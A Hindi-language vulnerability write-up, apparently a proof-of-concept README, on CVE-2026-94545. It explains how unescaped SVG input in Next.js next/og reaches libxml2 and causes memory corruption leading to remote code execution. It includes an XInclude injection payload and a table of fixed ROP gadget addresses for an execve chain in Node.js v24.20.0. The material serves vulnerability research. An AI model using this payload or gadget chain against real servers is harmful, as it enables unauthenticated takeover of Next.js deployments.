
CVE-2026-94545 के लिए Python PoC: libxml2 भ्रष्टाचार को ट्रिगर करने और अनधिकृत RCE के लिए ROP चेन बनाने हेतु Next.js next/og में अनएस्केप्ड SVG इनपुट का शोषण करता है।
next/og अनधिकृत रिमोट कोड निष्पादनकेवल सुरक्षा अनुसंधान उपयोग के लिए, अधिकृत भेद्यता वातावरण में।
| आइटम | मान |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| अपस्ट्रीम | Satori GHSA-wx4j-mvgx-mqwp |
| मूल कारण | CWE-116 (आउटपुट का अनुचित एन्कोडिंग या एस्केपिंग) → नेटिव XML पार्सर मेमोरी करप्शन → RCE |
| प्रभावित | Next.js 16.2.0 – 16.3.5 (sharp स्थापित के साथ Node रनटाइम); बंडल किया गया Satori ≥ 0.0.27 और < 0.33.5 |
| ठीक किया गया | Next.js 16.3.6 / Satori 0.33.5 |
| प्रभाव | प्रमाणीकरण के बिना Next.js सेवा प्रक्रिया में मनमाने कमांड निष्पादित करें |
| परीक्षित स्टैक | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 आधिकारिक x64 बाइनरी (गैर-PIE) |
Edge रनटाइम (export const runtime = 'edge') के साथ या जब sharp स्थापित नहीं है, रेंडरिंग resvg-wasm सैंडबॉक्स के माध्यम से होती है, इसलिए यह भेद्यता नेटिव पार्सिंग श्रृंखला तक नहीं पहुँचती और इसलिए RCE नहीं बनती।
उपयोगकर्ता इनपुट को सादे टेक्स्ट के रूप में SVG में जोड़ा जाता है, और फिर इस SVG को पूरी तरह से एक data: URL में डालकर दूसरे दौर की पार्सिंग के लिए C-भाषा XML पार्सर को सौंप दिया जाता है। बीच में केवल URL एन्कोडिंग की जाती है; XML एस्केपिंग कभी नहीं की जाती।
विशिष्ट पैटर्न: POST /api/og पूरे अनुरोध बॉडी को, या GET /api/og?value= क्वेरी पैरामीटर को, बिना फ़िल्टरिंग या एस्केपिंग के सीधे ImageResponse के SVG <title> में रखता है।
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse एक JSX element tree प्राप्त करता है और एक PNG लौटाता है। कोई भी route जो request data को SVG child nodes / attributes / styles में लिखता है, वह एक sink है।
next/og Entry Forwardingnode_modules/next/og.js next/dist/server/og/image-response.js को forward करता है। Node runtime गतिशील रूप से next/dist/compiled/@vercel/og/index.node.js (native path) लोड करता है; Edge runtime wasm path लोड करता है और इस vulnerability से प्रभावित नहीं है।
@vercel/og — Satori SVG उत्पन्न करता है, फिर उसे Rasterization के लिए सौंप देता हैNext.js के bundled @vercel/og (compiled artifact comments पुष्टि करते हैं कि इसमें [email protected] है) का flow इस प्रकार है:
sharp का पता चलता है, तो rasterization के लिए SVG को native library को सौंपें; अन्यथा resvg-wasm पर fallback करें।const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
इस बिंदु पर, उपयोगकर्ता इनपुट पहले से ही एक SVG स्ट्रिंग बन चुका है और इसे verbatim रूप में sharp (native libvips) को पास किया जाता है।
JSX में स्पष्ट रूप से लिखे गए <svg> के लिए, Satori इसे पूरी तरह से एक data:image/svg+xml URL में सीरियलाइज़ करता है और फिर इसे आउटपुट में <image> के रूप में एम्बेड करता है।
vercel/[email protected] src/layout.ts: <svg> नोड में प्रवेश करते समय SVGNodeToImage को कॉल करता है।
src/handler/preprocess.ts में दो प्रमुख खामियाँ हैं:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, <, और > को & / < / > के रूप में नहीं लिखा जाता है। प्रतिशत-एन्कोडिंग केवल एक URL सिंटैक्स आवश्यकता है; जब डाउनस्ट्रीम पार्सर data: URL को लोड करता है, तो %3C/title%3E को वास्तविक </title> में पुनर्स्थापित कर दिया जाता है, और हमलावर का टेक्स्ट "डेटा" से वापस "डॉक्यूमेंट संरचना" में परिवर्तित हो जाता है।
जब इनपुट </title><xi:include …/><title> होता है, तो Satori द्वारा sharp को सौंपा गया मध्यवर्ती SVG निम्नलिखित रूप लेता है (चित्रण के लिए डिकोड किया गया):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
पेलोड libxml2 की इनपुट संरचना को नियंत्रित करने के लिए दो स्तरों के इंजेक्शन का उपयोग करता है:
</title><xi:include parse="xml" href="data:…"> पार्सर को पूरी तरह से हमलावर द्वारा नियंत्रित एक नेस्टेड दस्तावेज़ लोड करने के लिए विवश करता है।libxml2 की आंतरिक स्थिति अपेक्षाओं से परे धकेल दी जाती है, जिसके परिणामस्वरूप आउट-ऑफ़-बाउंड राइट होता है। भ्रष्टाचार प्रभाव को सावधानीपूर्वक व्यवस्थित SVG <path> निर्देशांक अनुक्रमों (8-बाइट लिटिल-एंडियन शब्दों को वहन करने वाले IEEE-754 डबल्स) के माध्यम से विश्वसनीय रूप से स्थापित किया जाता है, जिससे नियंत्रण प्रवाह को हाईजैक किया जाता है।
execveआधिकारिक रूप से जारी Node.js linux-x64 बाइनरी एक नॉन-PIE निष्पादन योग्य फ़ाइल है जिसका लोड बेस निश्चित है; PLT / GOT और गैजेट पते स्थिर हैं, इसलिए किसी सूचना लीक की आवश्यकता नहीं है।
यह PoC Node.js v24.20.0 आधिकारिक x64 के विरुद्ध बनाया गया है; गैजेट्स इस प्रकार हैं:
| प्रतीक | पता | उद्देश्य |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (स्क्रैच में qword दर qword लिखता है) |
EXECVE_PLT | 0x745FA0 | execve का PLT स्टब |
SCRATCH | 0x6B5F500 | निश्चित रिटेबल पता |